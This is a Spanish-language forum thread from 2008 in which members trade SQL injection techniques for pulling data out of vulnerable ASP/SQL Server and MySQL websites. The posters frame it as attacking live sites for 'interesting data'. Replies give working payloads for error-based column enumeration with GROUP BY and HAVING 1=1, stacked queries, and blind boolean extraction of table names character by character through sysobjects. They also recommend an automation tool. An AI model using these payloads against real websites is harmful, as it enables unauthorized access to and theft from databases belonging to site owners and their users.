Duda SQL injection en SQL Server

Iniciado por bacterio, 21 Febrero 2008, 16:07 PM

0 Miembros y 1 Visitante están viendo este tema.

bacterio

Hola,

tengo un problema y es que en la mayoria de sitios en asp que usan sql server y son vulnerables, una vez he obtenido una sentencia válida me salta este error y no puedo axtraer ningun valor de la DB:

Conflicto de tipos de operandos: text es incompatible con int

Alguien sabe como solucionarlo?

saludos

zhyzura

cual es la sentecia que estas utilizando??

lo mas seguro es que estas utilizando UNION y estas intentando unir dos campos que son de diferente tipo

Azielito

Yo tengo una duda XD

tengo un server MySQL, en un "apartado" podes poner la comilla simple y te da un error mostrando el resto de la consulta SQL, lo que quiero es averiguar el nombre de las tablas que hay para ver si puedo sacar "datos interesantes", me dejo hacer
Código (sql) [Seleccionar]
'; show tables; sin problemas :) pero no me mostro las tablas ¬¬, no marco error lo que indica que efectivamente, ejecuto el comando '
Código (sql) [Seleccionar]
show tables
pero como hacer para mostrar esos datos en pantalla?

gracias! ñ_ñ



PD: seguro que esto va en hacking avanzado?

[{O_o}]

Trata SELECT name FROM sysobjects where name like "%u" o si no para mi la mejor forma siempre es tratar de explotar el error de sql y asi podremos obtener datos de la tabla. Ej: http://www.server.com/news.asp?id=[SQL] se puede explotar de mucha maneras resultado:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'NEWS.PageTitle' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/functions/dbfunctions.asp, line 185

Ya tenermos nuestro primer campo podemos usar el gruop by [Campo] hasta q la web de el resultado deseado

Ej:
http://www.server.com/news.asp?id=1%20group by NEWS.PageTitle

NEWS.PageTitle

NEWS <------ Tabla
PAgeTitle <------- Campo

Tambien se puede saber el nombre de cualquier campo usando una operacion usando un blind sql injection
Ej:
Al usar el la Ej: http://www.server.com/news.asp?id=1 and 1=1-- muestra un dato en la web el cual es verdadero
si utilizamos Ej: http://www.server.com/news.asp?id=1 and 1=2--  es falso muestra otro datos en la web
Ya que conocemos cual son las respuesta en los caso FALSE and TRUE podemos usar esta sentencia

AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)))<97

convierte a caract + minuscala + extrae + de la tabla una si la primera letra es  < 97 en ascii asi tendremos un resultado de la primera letra
este proceso se puede repetir hasta encontra la primera letra del nombre de la tabla para la segunda solo cambiamos

AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,2)))<97 y continua el proceso hasta tener el nombre completo

este es un proceso largo por eso te recomiendo que uses sqlbrute para window que lo hace de manera automatica.

Espero que se a de tu ayuda y recuerda que hay miles de pagina con info sobre sql injection.
Pero si no solo dejame saber..... :)

Azielito

encontre en inet otra forma xD
Código (sql) [Seleccionar]
' having 1=1 --
entonces nos da un campo de la tabla :D ahora toca  hacer
Código (sql) [Seleccionar]
'%20GROUP%20BY%20tabla.camoErr1%20HAVING%201=1%20--
/* Luego */
'%20GROUP%20BY%20tabla.camoErr1,tabla.camoErr2%20HAVING%201=1%20--

y asi hasta obtener el nombre de los campos :D

ayudo mucho tu comentario seño [{O_o}]